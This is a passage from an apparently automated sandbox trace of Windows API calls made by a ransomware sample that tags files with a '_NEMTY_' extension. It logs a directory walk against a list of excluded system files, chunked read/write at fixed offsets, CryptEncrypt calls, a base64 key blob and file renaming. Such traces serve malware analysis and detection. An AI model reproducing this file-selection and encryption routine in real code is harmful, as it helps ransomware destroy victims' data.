hTemplateFile=0x0) returned 0xffffffff [0117.812] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.918] CloseHandle (hObject=0xffffffff) returned 0 [0117.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png._nemty_kgobjgd_")) returned 0 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ac3f11, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ac3f11, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2=".") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="..") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="...") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="windows") returned -1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="$RECYCLE.BIN") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="rsa") returned -1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="NTDETECT.COM") returned -1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="ntldr") returned -1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="MSDOS.SYS") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="IO.SYS") returned 1 [0117.919] lstrcmpiW (lpString1="novelty_m.png", lpString2="boot.ini") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="boot.ini") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="ntuser.dat") returned -1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="desktop.ini") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="CONFIG.SYS") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="RECYCLER") returned -1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="BOOTSECT.BAK") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="bootmgr") returned 1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="programdata") returned -1 [0117.920] lstrcmpiW (lpString1="novelty_m.png", lpString2="appdata") returned 1 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_m.png", lpUsedDefaultChar=0x0) returned 13 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_m.png", lpUsedDefaultChar=0x0) returned 13 [0117.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_m.png", lpUsedDefaultChar=0x0) returned 13 [0117.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_m.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_m.png", lpUsedDefaultChar=0x0) returned 13 [0117.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.920] Sleep (dwMilliseconds=0x5) [0117.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9f0dfb0, dwHighDateTime=0x1d561e7)) [0117.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9f0dfb0, dwHighDateTime=0x1d561e7)) [0117.934] GetLastError () returned 0x5 [0117.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.934] GetLastError () returned 0x5 [0117.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="JvnYpXc/neXXb7WOuqbQ7JHrfbfJRBiXBSwwH+bBkBlnz4zyOyGLDUjROIlVtNNI\r\nd4n0KeieM1o+6IwpNL3oOU//3riolTd7ZClrOOMnPUd8cMz+J8N9Bz/+8XG/y6C3\r\ngkq+bfgfH4d2l6q1e8jlZLDEY82lMr+NbDSqLkuE3tg09pEjLO7fod7f9bU76wiY\r\nRqTJRWx3el/GpBAjQ+GBFohj62KNCoXkw4jk2zHdI66w02KLdO5XOppk9B9ISRlK\r\nSC3iFmF2C+ByL9ZGtR9LtBDlkLqEm5mJBwaTh4a2Hk18U0jaKgoStSXpPvEYs2Rc\r\nEp/MYY3hg9LR91k7jEDMfQ==\r\n", pcchString=0x653e91c) returned 1 [0117.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.935] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.935] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 